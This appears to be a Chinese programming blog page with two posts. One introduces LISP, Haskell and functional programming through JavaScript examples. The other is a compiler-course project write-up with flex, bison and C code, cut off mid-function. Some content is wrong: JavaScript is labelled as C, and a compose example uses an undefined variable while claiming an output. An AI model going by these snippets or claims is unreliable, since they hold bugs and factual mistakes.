Pwn进你的心

Haskell 基础知识

Posted on 2023-03-31 In Knowledge 4.5k 4 mins.

LISP 基础知识

LISP 是一种通用高级计算机程序语言，长期以来垄断人工智能领域的应用

LISP 作为应用人工智能而设计的语言，是第一个声明式系内函数式程序设计语言，有别于命令式系内过程式的 C，Fortran 和面向对象的 Java，Python 等结构化程序设计语言

数据类型

LISP 只有两种数据结构：

原子 atom：原子为标识符形式的符号或数字的字面值

表 list：表则是由零个或多个表达式组成的序列（不需要使用一般表处理所必需的任意插入及删除操作）

语句结构

LISP 的语法是简洁的典型，程序代码与数据的形式完全相同

以圆括号为边界的表：（A B C D）

数据：有 A，B，C，D 这4个元素的表
函数：将名为 A 的函数作用于 B，C 和 D 这3个参数

嵌套表结构亦是以圆括号来表示：（A（B C）D（E（F G）））

关键字

LISP 是一个函数式程序语言，并无关键字或保留字设，使用者可自行定义

Haskell 基础知识

Haskell 是一种函数式编程语言，专门设计用于处理符号计算和列表处理应用程序，有非限定性语义和强静态类型

数据类型

Haskell 支持的类型如下：

数字：Haskell 可以将某些数字解码为数字（无需像在其他编程语言中通常那样在外部指定它的数据类型）
字符：双引号或单引号中的单个字符
字符串：双引号中的多个字符
布尔型：True / False
列表：用逗号分隔的相同数据类型的集合
元组：在单个数据类型中声明多个值的方法（元组可以视为列表，但是元组和列表之间存在一些技术差异）

函数式编程

函数式编程是一种编程范式，除了函数式编程之外还有：命令式编程，声明式编程

命令式编程

命令式编程是面向计算机硬件抽象（变量、赋值语句、表达式、控制语句等）的编程

可以理解为命令式编程就是冯诺伊曼的指令序列，它的主要思想是关注计算机执行的步骤，即一步一步告诉计算机先做什么再做什么

例如：C语言中，要查找数组 numList 中大于5的所有数字

let results = [];
for(let i = 0; i < numList.length; i++){
    if(numList[i] > 5){
        results.push(numList[i])
    }
}

声明式编程

声明式编程是以数据结构的形式来表达程序执行的逻辑

它的主要思想是告诉计算机应该做什么，但不指定具体要怎么做

例如：SQL语句

1	SELECT * FROM collection WHERE num > 5

函数式编程

函数式编程和声明式编程的思想是一致的：只关注做什么而不是怎么做

但函数式编程不仅仅局限于声明式编程

函数式编程是面向数学的抽象，将计算描述为一种表达式求值，其实，函数式程序就是一个表达式

函数式编程中的函数并不指计算机中的函数，而是指数学中的函数（即自变量的映射）
函数的值取决于函数的参数的值，不依赖于其他状态（例如：abs(x) 函数计算 x 的绝对值，只要 x 不变，最终的值都是一样）

函数是第一等公民：是指函数跟其它的数据类型一样处于平等地位，可以赋值给其他变量，可以作为参数传入另一个函数，也可以作为别的函数的返回值

var func1 = function func1() {  } /* 赋值 */

function func2(fn) { /* 函数作为参数 */
    fn()
}   

function func3() { /* 函数作为返回值 */
    return function() {}
}

函数是纯函数：纯函数是指相同的输入总会得到相同的输出，并且不会产生副作用的函数（函数内部的操作不会对外部产生影响）

函数式编程的基本运算

函数合成（compose）：

将代表各个动作的多个函数合并成一个函数

案例一：

function add(x) { /* 分散的多个函数 */
    return x + 10
}
function multiply(x) {
    return x * 10
}

function compose(f,g) { /* 合成函数 */
    return function(x) {
        return f(g(x));
    };
}

console.log(multiply(add(2))) // 120
let calculate=compose(multiply,add); /* 执行顺序:从右往左 */
console.log(calculate(2)) // 120

案例二：

function compose() {
    let args = arguments;
    let start = args.length - 1;
    return function () {
        let i = start - 1;
        let result = args[start].apply(this, arguments);
        while (i >= 0){
            result = args[i].call(this, result);
            i--;
        }
        return result;
    };
}

function add(str){
    return x + 10
}
function multiply(str) {
    return x * 10
}
function minus(str) {
    return x - 10
}

let composeFun = compose(minus, multiply, add); /* 执行顺序:从右往左 */
composeFun(2) // 110

函数柯里化（Currying）：

一个柯里化的函数首先会接受一些参数，接受了这些参数之后，该函数并不会立即求值，而是继续返回另外一个函数
刚才传入的参数在函数形成的闭包中被保存起来，待到函数被真正需要求值的时候，之前传入的所有参数都会被一次性用于求值

案例一：

function sum(a, b) {
    return a + b;
}
console.log(sum(2, 2)) // 4

function sumCurry(a) {
    return function(b) {
        return a + b;
    }
}
console.log(sumCurry(2)(2)); // 4

var sumCurry=createCurry(sum); /* 函数柯里化 */
console.log(sumCurry(2)(2)); // 4

案例二：

function createCurry(func, arrArgs) { /* 参数只能从左到右传递 */
    var args = arguments;
    var funcLength = func.length;
    var arrArgs = arrArgs || [];

    return function() {
        var _arrArgs = Array.prototype.slice.call(arguments);
        var allArrArgs = arrArgs.concat(_arrArgs)

        if (allArrArgs.length < funcLength) { /* 如果参数个数小于最初的func.length,则递归调用,继续收集参数 */
            return args.callee.call(this, func, allArrArgs);
        }

        return func.apply(this, allArrArgs); /* 参数收集完毕,则执行func */
    }
}

var sumCurry=createCurry(function(a, b, c) { /* 返回一个柯里化函数 */
    return a + b + c;
});
sumCurry(1)(2)(3) // 6
sumCurry(1, 2, 3) // 6
sumCurry(1)(2,3) // 6
sumCurry(1,2)(3) // 6

高阶函数：满足下列条件之一的函数就可以称为高阶函数

函数作为参数被传递
函数作为返回值输出

案例一：

const fn = (() => {
    let students = [];
    return { /* 作为返回值输出 */
        addStudent(name) {
            if (students.includes(name)) {
                return false;
            }
            students.push(name);
        },
        showStudent(name) {
            if (Object.is(students.length, 0)) {
                return false;
            }
            return students.join(",");
        }
    }
})();
fn.addStudent("liming"); 
fn.addStudent("zhangsan");
fn.showStudent(); // 输出:liming,zhangsan

案例二：

const plus = (...args) => {
    let n = 0;
    for (let i = 0; i < args.length; i++) {
        n += args[i];
    }
    return n;
}

const mult = (...args) => {
    let n = 1;
    for (let i = 0; i < args.length; i++) {
        n *= args[i];
    }
    return n;
}

const createFn = (fn) => { /* 作为参数被传递 */
    let obj = {};
    return (...args) => { /* 作为返回值输出 */
        let keyName = args.join("");
        if (keyName in obj) {
            return obj[keyName];
        }
        obj[keyName] = fn.apply(null, args);
        return obj[keyName];
    }
}

let fun1 = createFn(plus);
console.log(fun1(2, 2, 2)); // 输出:6

let fun2 = createFn(mult);
console.log(fun2(2, 2, 2)); // 输出:8

GHC - Haskell 编译器

GHC 就是 Haskell 的编译器，可以从如下网站中下载：

GHC 9.0.2 download — The Glasgow Haskell Compiler

执行以下代码就可以完成安装：

1 2	sudo ./configure sudo make install

编译原理实战-简单编译器1

Posted on 2023-03-28 Edited on 2023-03-30 In Technology 22k 20 mins.

基础信息

当我做完编译原理的4个 Lab 之后，感觉对编译原理各个步骤的具体细节都不太熟悉，于是我打算将编译原理 Lab 中的代码整理完善，搞出一个完整的编译器来

本代码是在以下项目的基础上进行完善：

GitHub - Billy1900/compiler-course-project: 华中科技大学编译原理实验2019

按照自己的理解对部分函数进行了重写和补充，修改了一些 BUG（本人是第一次尝试这么复杂的程序，可能有些代码有点绕，请多多见谅）

词法分析

原项目对词法分析的部分处理地很好，我这里没有做太多修改：

%{
#include "parser.tab.h"
#include "string.h"
#include "def.h"
int yycolumn=1;
#define YY_USER_ACTION    	yylloc.first_line=yylloc.last_line=yylineno; \
	yylloc.first_column=yycolumn;	yylloc.last_column=yycolumn+yyleng-1; yycolumn+=yyleng;
typedef union {
	int type_int;
	float type_float;
	char type_char[3];
	char type_string[31];
	char type_id[32];
	struct node *ptr;
} YYLVAL;
#define YYSTYPE YYLVAL

%}
%option yylineno

id   [A-Za-z][A-Za-z0-9]*
int    [0-9]+
float  ([0-9]*\.[0-9]+)|([0-9]+\.)
char   ('[A-Za-z0-9]')
string (\"[A-Za-z0-9]*\")

%%
{int}        {yylval.type_int=atoi(yytext);/*printf("type_int:%d\n",yytext);*/return INT;}
{float}      {yylval.type_float=atof(yytext);/*printf("type_float:%f\n",yytext);*/return FLOAT;}
{char}        {strcpy(yylval.type_char,yytext);/*printf("type_char:%s\n",yytext);*/return CHAR;}
{string}      {strcpy(yylval.type_string,yytext);/*printf("type_string:%s\n",yytext);*/return STRING;}

"int"        {strcpy(yylval.type_id,  yytext);/*printf("(TYPE,int)");*/return TYPE;}
"float"      {strcpy(yylval.type_id,  yytext);/*printf("(TYPE,float)");*/return TYPE;}
"char"        {strcpy(yylval.type_id,  yytext);/*printf("(TYPE,char)");*/return TYPE;}
"string"      {strcpy(yylval.type_id,  yytext);/*printf("(TYPE,string)");*/return TYPE;}
"struct"     {/*printf("(STRUCT,struct)");*/return STRUCT;}

"return"     {/*printf("(RETURN,return)");*/return RETURN;}
"if"         {/*printf("(IF,if)");*/return IF;}
"else"       {/*printf("(ELSE,else)");*/return ELSE;}
"while"      {/*printf("(WHILE),while");*/return WHILE;}
"for"        {/*printf("(FOR,for)");*/return FOR;}

{id}       {strcpy(yylval.type_id, yytext);/*printf("(ID,%s)",yylval.type_id);*/return ID;}
";"		{/*printf("(SEMI,;)");*/return SEMI;}
","		{/*printf("(COMMA,,)");*/return COMMA;}
">"|"<"|">="|"<="|"=="|"!=" {strcpy(yylval.type_id, yytext);/*printf("(RELOP,%s)",yylval.type_id);*/return RELOP;}
"="		{/*printf("(ASSIGNOP,=)");*/return ASSIGNOP;}
"+"		{/*printf("(PLUS,+)");*/return PLUS;}
"-"		{/*printf("(MINUS,-)");*/return MINUS;}
"*"		{/*printf("(STAR,*)");*/return STAR;}
"/"		{/*printf("(DIV,/)");*/return DIV;}
"&&"        {/*printf("(AND,&&)");*/return AND;}
"||"        {/*printf("(OR,||)");*/return OR;}
"."         {/*printf("(DOT,.)");*/return DOT;}
"!"		{/*printf("(NOT,!)");*/return NOT;}
"("		{/*printf("(LP,()");*/return LP;}
")"		{/*printf("(RP,))");*/return RP;}
"["         {/*printf("(LB,[)");*/return LB;}
"]"         {/*printf("(RB,])");*/return RB;}
"{"		{/*printf("(LC,{)");*/return LC;}
"}"		{/*printf("(RC,})\n");*/return RC;}
[\n]        	{yycolumn=1;}
[ \r\t]     	{}
"//"[^\n]*  	{}
"/*"([^\*]|(\*)*[^\*/])*(\*)*"*/" {}
.		{printf("\n==>ERROR:Mysterious character \"%s\" at Line %d\n",yytext,yylineno);}
%%


int yywrap()
{
	return 1;
}

都是一些基础的正则表达式，不需要过多赘述了

语法分析

语法分析部分同样也没有进行太多修改：

%define parse.error verbose
%locations
%{
#include "stdio.h"
#include "math.h"
#include "string.h"
#include "def.h"
extern int yylineno;
extern char *yytext;
extern FILE *yyin;
void yyerror(const char* fmt, ...);
void display(struct node *,int);
%}

%union {
    int    type_int;
    float  type_float;
    char type_char[3];
    char type_string[31];
    char   type_id[32];
    struct node *ptr;
};

%type  <ptr> program ExtDefList ExtDef Specifier StructSpecifier OptTag Tag ExtDecList FuncDec CompSt VarList VarDec ParamDec Stmt ForDec StmList DefList Def DecList Dec Exp Args

%token <type_int> INT              
%token <type_id> ID RELOP TYPE  
%token <type_float> FLOAT       
%token <type_char> CHAR       
%token <type_string> STRING    

%token STRUCT LP RP LB RB LC RC SEMI COMMA DOT  
%token PPLUS MMINUS PLUS MINUS STAR DIV ASSIGNOP MINUSASSIGNOP PLUSASSIGNOP DIVASSIGNOP STARASSIGNOP AND OR NOT IF ELSE WHILE FOR RETURN

%right ASSIGNOP MINUSASSIGNOP PLUSASSIGNOP DIVASSIGNOP STARASSIGNOP 
%left OR
%left AND
%left RELOP
%left PLUS MINUS
%left STAR DIV
%right UMINUS NOT PPLUS MMINUS
%right LB
%left RB
%left DOT
%nonassoc LOWER_THEN_ELSE
%nonassoc ELSE

%%

program: ExtDefList    {display($1,0);DisplaySymbolTable($1);}    
         ;
ExtDefList: {$$=NULL;}
          | ExtDef ExtDefList {$$=mknode(EXT_DEF_LIST,$1,$2,NULL,yylineno);}   
          ;
ExtDef:   Specifier ExtDecList SEMI   {$$=mknode(EXT_VAR_DEF,$1,$2,NULL,yylineno);}   
         | Specifier SEMI
         | Specifier FuncDec CompSt    {$$=mknode(FUNC_DEF,$1,$2,$3,yylineno);}         
         | error SEMI   {$$=NULL;}
         ;

ExtDecList:  VarDec      {$$=$1;}      
           | VarDec COMMA ExtDecList {$$=mknode(EXT_DEC_LIST,$1,$3,NULL,yylineno);}
           ;

Specifier:  TYPE    {$$=mknode(TYPE,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);if(!strcmp($1, "int"))$$->type=INT;if(!strcmp($1, "float"))$$->type=FLOAT;if(!strcmp($1, "char"))$$->type=CHAR;if(!strcmp($1, "string"))$$->type=STRING;}
           | StructSpecifier {$$=$1;}
           ;

StructSpecifier: STRUCT OptTag LC DefList RC {$$=mknode(STRUCT_DEF,$2,$4,NULL,yylineno);}
          | STRUCT Tag  {$$=mknode(STRUCT_DEC,$2,NULL,NULL,yylineno);}
          ;

OptTag: {$$=NULL;}
       | ID {$$=mknode(STRUCT_TAG,NULL,NULL,NULL,yylineno);strcpy($$->struct_name,$1);}
       ;
Tag: ID {$$=mknode(STRUCT_TAG,NULL,NULL,NULL,yylineno);strcpy($$->struct_name,$1);}
    ;

VarDec:  ID          {$$=mknode(ID,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);}   
        | VarDec LB INT RB {struct node *temp=mknode(INT,NULL,NULL,NULL,yylineno);temp->type_int=$3;$$=mknode(ARRAY_DEC, $1, temp, NULL,yylineno);}
         ;
FuncDec: ID LP VarList RP   {$$=mknode(FUNC_DEC,$3,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
	|ID LP  RP   {$$=mknode(FUNC_DEC,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
        ;
VarList: ParamDec  {$$=mknode(PARAM_LIST,$1,NULL,NULL,yylineno);}
        | ParamDec COMMA  VarList  {$$=mknode(PARAM_LIST,$1,$3,NULL,yylineno);}
        ;
ParamDec: Specifier VarDec         {$$=mknode(PARAM_DEC,$1,$2,NULL,yylineno);}
         ;

CompSt: LC DefList StmList RC    {$$=mknode(COMP_STM,$2,$3,NULL,yylineno);}
       ;
       
StmList: {$$=NULL; }
        | Stmt StmList  {$$=mknode(STM_LIST,$1,$2,NULL,yylineno);}
        ;
        
Stmt:   Exp SEMI    {$$=mknode(EXP_STMT,$1,NULL,NULL,yylineno);}
      | CompSt      {$$=$1;}      
      | RETURN Exp SEMI   {$$=mknode(RETURN,$2,NULL,NULL,yylineno);}
      | IF LP Exp RP Stmt %prec LOWER_THEN_ELSE   {$$=mknode(IF_THEN,$3,$5,NULL,yylineno);}
      | IF LP Exp RP Stmt ELSE Stmt   {$$=mknode(IF_THEN_ELSE,$3,$5,$7,yylineno);}
      | WHILE LP Exp RP Stmt {$$=mknode(WHILE,$3,$5,NULL,yylineno);}
      | FOR LP ForDec RP Stmt {$$=mknode(FOR,$3,$5,NULL,yylineno);}
      ;

ForDec: Exp SEMI Exp SEMI Exp {$$=mknode(FOR_DEC,$1,$3,$5,yylineno);}
       | SEMI Exp SEMI {$$=mknode(FOR_DEC,NULL,$2,NULL,yylineno);}
       ;

DefList: {$$=NULL; }
        | Def DefList {$$=mknode(DEF_LIST,$1,$2,NULL,yylineno);}
        ;
Def:    Specifier DecList SEMI {$$=mknode(VAR_DEF,$1,$2,NULL,yylineno);}
        ;
DecList: Dec  {$$=mknode(DEC_LIST,$1,NULL,NULL,yylineno);}
       | Dec COMMA DecList  {$$=mknode(DEC_LIST,$1,$3,NULL,yylineno);}
	;
Dec:     VarDec  {$$=$1;}
       | VarDec ASSIGNOP Exp  {$$=mknode(ASSIGNOP,$1,$3,NULL,yylineno);strcpy($$->type_id,"ASSIGNOP");}
       ;
Exp:    Exp ASSIGNOP Exp {$$=mknode(ASSIGNOP,$1,$3,NULL,yylineno);strcpy($$->type_id,"ASSIGNOP");}
      | Exp AND Exp   {$$=mknode(AND,$1,$3,NULL,yylineno);strcpy($$->type_id,"AND");}
      | Exp OR Exp    {$$=mknode(OR,$1,$3,NULL,yylineno);strcpy($$->type_id,"OR");}
      | Exp RELOP Exp {$$=mknode(RELOP,$1,$3,NULL,yylineno);strcpy($$->type_id,$2);}  
      | Exp PLUS Exp  {$$=mknode(PLUS,$1,$3,NULL,yylineno);strcpy($$->type_id,"PLUS");}
      | Exp PLUS PLUS  {$$=mknode(PPLUS,$1,NULL,NULL,yylineno);strcpy($$->type_id,"PPLUS");}
      | Exp PLUS ASSIGNOP Exp {$$=mknode(PLUSASSIGNOP,$1,$4,NULL,yylineno);strcpy($$->type_id,"PLUSASSIGNOP");}
      | Exp MINUS Exp {$$=mknode(MINUS,$1,$3,NULL,yylineno);strcpy($$->type_id,"MINUS");}
      | Exp MINUS MINUS  {$$=mknode(MMINUS,$1,NULL,NULL,yylineno);strcpy($$->type_id,"MMINUS");}
      | Exp MINUS ASSIGNOP Exp {$$=mknode(MINUSASSIGNOP,$1,$4,NULL,yylineno);strcpy($$->type_id,"MINUSASSIGNOP");}
      | Exp STAR Exp  {$$=mknode(STAR,$1,$3,NULL,yylineno);strcpy($$->type_id,"STAR");}
      | Exp STAR ASSIGNOP Exp {$$=mknode(STARASSIGNOP,$1,$4,NULL,yylineno);strcpy($$->type_id,"STARASSIGNOP");}
      | Exp DIV Exp   {$$=mknode(DIV,$1,$3,NULL,yylineno);strcpy($$->type_id,"DIV");}
      | Exp DIV ASSIGNOP Exp {$$=mknode(DIVASSIGNOP,$1,$4,NULL,yylineno);strcpy($$->type_id,"DIVASSIGNOP");}
      | LP Exp RP     {$$=$2;}
      | MINUS Exp %prec UMINUS   {$$=mknode(UMINUS,$2,NULL,NULL,yylineno);strcpy($$->type_id,"UMINUS");}
      | NOT Exp       {$$=mknode(NOT,$2,NULL,NULL,yylineno);strcpy($$->type_id,"NOT");}
      | ID LP Args RP {$$=mknode(FUNC_CALL,$3,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
      | ID LP RP      {$$=mknode(FUNC_CALL,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
      | Exp LB Exp RB {$$=mknode(EXP_ARRAY,$1,$3,NULL,yylineno);}
      | Exp DOT ID {struct node *temp=mknode(ID,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$3);$$=mknode(EXP_ELE,$1,temp,NULL,yylineno);}//$$=mknode(EXP_ELE,$1,$3,NULL,yylineno);
      | ID            {$$=mknode(ID,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
      | INT           {$$=mknode(INT,NULL,NULL,NULL,yylineno);$$->type_int=$1;$$->type=INT;}
      | FLOAT         {$$=mknode(FLOAT,NULL,NULL,NULL,yylineno);$$->type_float=$1;$$->type=FLOAT;}
      | CHAR           {$$=mknode(CHAR,NULL,NULL,NULL,yylineno);$$->type_char=$1[1];$$->type=CHAR;}
      | STRING         {$$=mknode(STRING,NULL,NULL,NULL,yylineno);strcpy($$->type_string,$1);$$->type=STRING;}
      ;

Args:    Exp COMMA Args    {$$=mknode(ARGS,$1,$3,NULL,yylineno);}
       | Exp               {$$=mknode(ARGS,$1,NULL,NULL,yylineno);}
       ;

%%

int main(int argc, char *argv[]){
	yyin=fopen(argv[1],"r");
	if (!yyin) return 0;
	yylineno=1;
	yyparse();
	return 0;
}

#include<stdarg.h>
void yyerror(const char* fmt, ...){
    va_list ap;
    va_start(ap, fmt);
    fprintf(stderr, "===>ERROR:Grammar Error at Line %d Column %d: ", yylloc.first_line,yylloc.first_column);
    vfprintf(stderr, fmt, ap);
    fprintf(stderr, ".\n");
}

语义分析

语义分析是我最头痛的部分

首先原项目对基本表达式并不完善，我在此基础上添加了对 CHAR，FLOAT 类型的处理，并扩展了对算数运算符的处理

void Exp(struct node *T)
{
    if (T)
    {
        switch (T->kind)
        {
            case ID:
                id_exp(T);
                break;
            case CHAR: 
                char_exp(T); /* 新添 */
                break;
            case INT:
                int_exp(T);
                break;
            case FLOAT:
                float_exp(T); /* 新添 */
                break;
            case ASSIGNOP:
                assignop_exp(T); /* 扩展 */
                break;
            case PPLUS:
            case MMINUS:
                oop_exp(T); /* 新添 */
                break;
            case AND:
            case OR:
            case RELOP:
                relop_exp(T);
                break;
            case PLUSASSIGNOP:
            case MINUSASSIGNOP:
            case STARASSIGNOP:
            case DIVASSIGNOP:
            case PLUS:
            case MINUS:
            case STAR:
            case DIV:
                op_exp(T); /* 扩展 */
                break;
            case FUNC_CALL: 
                func_call_exp(T);
                break;
            case ARGS: 
                args_exp(T);
                break;
            case EXP_ARRAY: /* EXP_ARRAY在赋值语句中才有意义 */
                break;
        }
    }
}

CHAR：

void char_exp(struct node *T){
    struct opn opn1, opn2, result;
    T->place = temp_add(newTemp(), LEV, T->type, 'T', T->offset); 
    T->type = CHAR;
    T->width = 1;
}

FLOAT：

void float_exp(struct node *T){
    struct opn opn1, opn2, result;
    T->place = temp_add(newTemp(), LEV, T->type, 'T', T->offset); //为整常量生成一个临时变量
    T->type = FLOAT;
    opn1.kind = FLOAT;
    opn1.const_float = T->type_float;
    result.kind = ID;
    strcpy(result.id, symbolTable.symbols[T->place].alias);
    result.offset = symbolTable.symbols[T->place].offset;
    T->code = genIR(ASSIGNOP, opn1, opn2, result);
    T->width = 4;
}

PPLUS，MMINUS：

void oop_exp(struct node *T){
    struct opn opn1, opn2, result;
    T->ptr[0]->offset = T->offset;
    Exp(T->ptr[0]);

    T->type = INT, T->width = T->ptr[0]->width;

    opn1.kind = ID;
    strcpy(opn1.id, symbolTable.symbols[T->ptr[0]->place].alias);
    opn1.type = T->ptr[0]->type;
    opn1.offset = symbolTable.symbols[T->ptr[0]->place].offset;

    T->code = merge(2, T->ptr[0]->code, genIR(T->kind, opn1, opn2, result));
    T->width = T->ptr[0]->width;
}

接着就是对数组的特殊处理，这里需要解决的第一个问题就是如何在中间语言 TAC 中表示数组

我的处理方式也比较粗暴，直接新添一个数组类型 A，当 print_IR 函数遇到 A 类型时，就会打印一个 ARRAY h->result.id

1
2
3

case ARRAY:
    printf("  ARRAY %s\n", h->result.id);
    break;

为了方便在生成汇编代码时开辟栈空间

数组有两个节点类型：EXP_ARRAY 数组引用，ARRAY_DEC 数组定义

对于 ARRAY_DEC 又分为局部数组定义和全局数组定义，我对它们的操作体现在如下函数中：

局部数组定义：

void var_def(struct node *T) /* TYPE || DEC_LIST */
{
    ......
    while (T0) /* 处理DEC_LIST结点 */
    { 
        num++;
        T0->ptr[0]->type = T0->type; //类型属性向下传递
        if (T0->ptr[1])
            T0->ptr[1]->type = T0->type;

        T0->ptr[0]->offset = T0->offset; //类型属性向下传递
        if (T0->ptr[1])
            T0->ptr[1]->offset = T0->offset + width;
        if (T0->ptr[0]->kind == ID)
        {
            ......
        }
        else if (T0->ptr[0]->kind == ARRAY_DEC){
            rtn = fillSymbolTable(T0->ptr[0]->ptr[0]->type_id, newAlias(), LEV, T0->ptr[0]->ptr[0]->type, 'A', T->offset + T->width); //此处偏移量未计算，暂时为0
            if (rtn == -1)
                semantic_error(T0->ptr[0]->ptr[0]->pos, T0->ptr[0]->ptr[0]->type_id, "变量重复定义");
            else
                T0->ptr[0]->ptr[0]->place = rtn;
            
            symbolTable.symbols[rtn].paramnum = T0->ptr[0]->ptr[1]->type_int;
            T->width += width * T0->ptr[0]->ptr[1]->type_int;

            result.kind = ID;
            sprintf(result.id,"%s[%d]",symbolTable.symbols[rtn].alias,T0->ptr[0]->ptr[1]->type_int);
            result.offset = T->offset;
            T->code = merge(2, T->code, genIR(ARRAY, opn1, opn2, result));
        }
        else if (T0->ptr[0]->kind == ASSIGNOP)
        {
            ......
        }

        T0 = T0->ptr[1];
    }
}

模仿 ID 分支写的，进行了一些特殊处理
也因为这些特殊处理导致了展示没法定义多维数组（在以后的版本中可能会进行改进）

全局数组定义：

void ext_var_list(struct node *T,int is_arr) /* EXT_DEC_LIST */
{
    int rtn, num = 1;
    switch (T->kind)
    {
    case EXT_DEC_LIST:
        T->ptr[0]->type = T->type;                //将类型属性向下传递变量结点
        T->ptr[0]->offset = T->offset;            //外部变量的偏移量向下传递
        T->ptr[1]->type = T->type;                //将类型属性向下传递变量结点
        T->ptr[1]->offset = T->offset + T->width; //外部变量的偏移量向下传递
        T->ptr[1]->width = T->width;
        ext_var_list(T->ptr[0],0);
        ext_var_list(T->ptr[1],0);
        T->num = T->ptr[1]->num + 1;
        break;
    case ID:
        if(is_arr==1){
            rtn = fillSymbolTable(T->type_id, newAlias(), LEV, T->type, 'A', T->offset); 
        }
        else{
            rtn = fillSymbolTable(T->type_id, newAlias(), LEV, T->type, 'V', T->offset); 
        }
        if (rtn == -1)
            semantic_error(T->pos, T->type_id, "变量重复定义，语义错误");
        else
            T->place = rtn;
        T->num = 1;
        symbolTable.symbols[T->place].paramnum = 1;
        break;
    case ARRAY_DEC:
        T->ptr[0]->type = T->type;                
        T->ptr[0]->offset = T->offset;      
        T->ptr[0]->width = T->width * T->ptr[1]->type_int;    
        ext_var_list(T->ptr[0],1);
        symbolTable.symbols[T->ptr[0]->place].paramnum = T->ptr[1]->type_int;
        break;
    default:
        break;
    }
}

全局数组的定义充分利用了 ext_var_list 函数的递归，理论上有多维数组的可能

数组引用：

void assignop_exp(struct node *T)
{
    struct opn opn1, opn2, result;
    char name[0x20];
    if(T->ptr[0]->kind == EXP_ARRAY){ /* EXP_ARRAY ASSIGNOP Exp */
        T->ptr[0]->offset = T->offset;
        Exp(T->ptr[0]->ptr[0]);
        T->type = T->ptr[0]->ptr[0]->type;
        Exp(T->ptr[0]->ptr[1]);
        T->ptr[0]->code = T->ptr[0]->ptr[0]->code;

        T->ptr[1]->offset = T->offset;
        Exp(T->ptr[1]);
        T->type = T->ptr[0]->ptr[0]->type;
        T->width = T->ptr[1]->width;
        T->code = merge(2, T->ptr[0]->code, T->ptr[1]->code);

        opn1.kind = ID;
        strcpy(opn1.id, symbolTable.symbols[T->ptr[1]->place].alias); 
        opn1.offset = symbolTable.symbols[T->ptr[1]->place].offset;
        result.kind = ID;
        sprintf(name,"%s[%d]",symbolTable.symbols[T->ptr[0]->ptr[0]->place].alias,T->ptr[0]->ptr[1]->type_int);
        strcpy(result.id, name);
        result.offset = symbolTable.symbols[T->ptr[0]->ptr[0]->place].offset;
        T->code = merge(2, T->code, genIR(ASSIGNOP, opn1, opn2, result));
    }
    else if (T->ptr[0]->kind != ID)
    {
        semantic_error(T->pos, "", "赋值语句没有左值，语义错误");
    }
    else
    {
        ......
    }
}

这里目前只能选择特殊处理（使用递归的难度有点高），也就不支持多维数组

目前我是利用 symbol->paramnum 来存储数组大小（当标记为 F 时，该值代表函数参数个数），而没有使用 node->width

这是因为我把控不好 node->width 在递归调用中的变化，一不小心就可能漏写造成 BUG，目前还需要大量调试来对各个函数中的 node->width 进行修正

另外还完善了 FOR 语句：

1
2
3

case FOR:
    for_dec(T);
    break;

void for_list(struct node* T){
    if(T->ptr[0]!=NULL){
        T->ptr[0]->offset = T->ptr[2]->offset = T->offset;
        if(T->ptr[0]->kind == ASSIGNOP){
            semantic_Analysis(T->ptr[0]);
        }
        else{
            semantic_error(T->pos, "", "for wrong\n");
        }
        if(T->ptr[2]->kind != ASSIGNOP){
            semantic_Analysis(T->ptr[2]);
        }
        else{
            semantic_error(T->pos, "", "for wrong\n");
        }
    }

    T->ptr[1]->offset = T->offset; 
    strcpy(T->ptr[1]->Etrue, T->Etrue); 
    strcpy(T->ptr[1]->Efalse, T->Efalse);
    boolExp(T->ptr[1]);
    T->width = T->ptr[0]->width+T->ptr[1]->width+T->ptr[2]->width;
}

void for_dec(struct node* T)
{
    strcpy(T->ptr[0]->Etrue, newLabel()); 
    strcpy(T->ptr[0]->Efalse, T->Snext);
    T->ptr[0]->offset = T->ptr[1]->offset = T->offset;
    semantic_Analysis(T->ptr[0]); 
    strcpy(T->ptr[1]->Snext, newLabel());
    semantic_Analysis(T->ptr[1]); 
    if (T->width < T->ptr[1]->width)
        T->width = T->ptr[1]->width;
    T->code = merge(7, T->ptr[0]->ptr[0]->code, genLabel(T->ptr[1]->Snext), T->ptr[0]->ptr[1]->code,
                    genLabel(T->ptr[0]->ptr[1]->Etrue), T->ptr[1]->code, T->ptr[0]->ptr[2]->code, genGoto(T->ptr[1]->Snext));
}

基本上就是拆分为3个 Exp 和1个复合语句

剩下的代码和原项目差不多，就不多赘述了

生成 IR 中间语言

生成中间代码有两大核心函数：genIR 和 print_IR

函数 genIR 没有什么变化，函数 print_IR 也只修改了数组和算数运算的相关代码：

void print_IR(struct codenode *head)
{
    char opnstr1[32], opnstr2[32], resultstr[32];
    struct codenode *h = head;
    do
    {
        if (h->opn1.kind == INT)
            sprintf(opnstr1, "#%d", h->opn1.const_int);
        if (h->opn1.kind == FLOAT)
            sprintf(opnstr1, "#%f", h->opn1.const_float);
        if (h->opn1.kind == ID)
            sprintf(opnstr1, "%s", h->opn1.id);
        if (h->opn2.kind == INT)
            sprintf(opnstr2, "#%d", h->opn2.const_int);
        if (h->opn2.kind == FLOAT)
            sprintf(opnstr2, "#%f", h->opn2.const_float);
        if (h->opn2.kind == ID)
            sprintf(opnstr2, "%s", h->opn2.id);
        sprintf(resultstr, "%s", h->result.id);
        switch (h->op)
        {
        case ASSIGNOP:
            printf("  %s := %s\n", resultstr, opnstr1);
            break;
        case PPLUS:
        case MMINUS:
            printf("  %s := %s %c 1\n", opnstr1, opnstr1,
                   h->op == PPLUS ? '+' : '-' );
            break;
        case PLUS:
        case MINUS:
        case STAR:
        case DIV:
            printf("  %s := %s %c %s\n", resultstr, opnstr1,
                   h->op == PLUS ? '+' : h->op == MINUS ? '-' : h->op == STAR ? '*' : '\\', opnstr2);
            break;
        case PLUSASSIGNOP:
        case MINUSASSIGNOP:
        case STARASSIGNOP:
        case DIVASSIGNOP:
            printf("  %s := %s %c %s\n", opnstr1, opnstr1,
                   h->op == PLUSASSIGNOP ? '+' : h->op == MINUSASSIGNOP ? '-' : h->op == STARASSIGNOP ? '*' : '\\', opnstr2);
            break;
        case FUNCTION:
            printf("\nFUNCTION %s :\n", h->result.id);
            break;
        case ARRAY:
            printf("  ARRAY %s\n", h->result.id);
            break;
        case PARAM:
            printf("  PARAM %s\n", h->result.id);
            break;
        case LABEL:
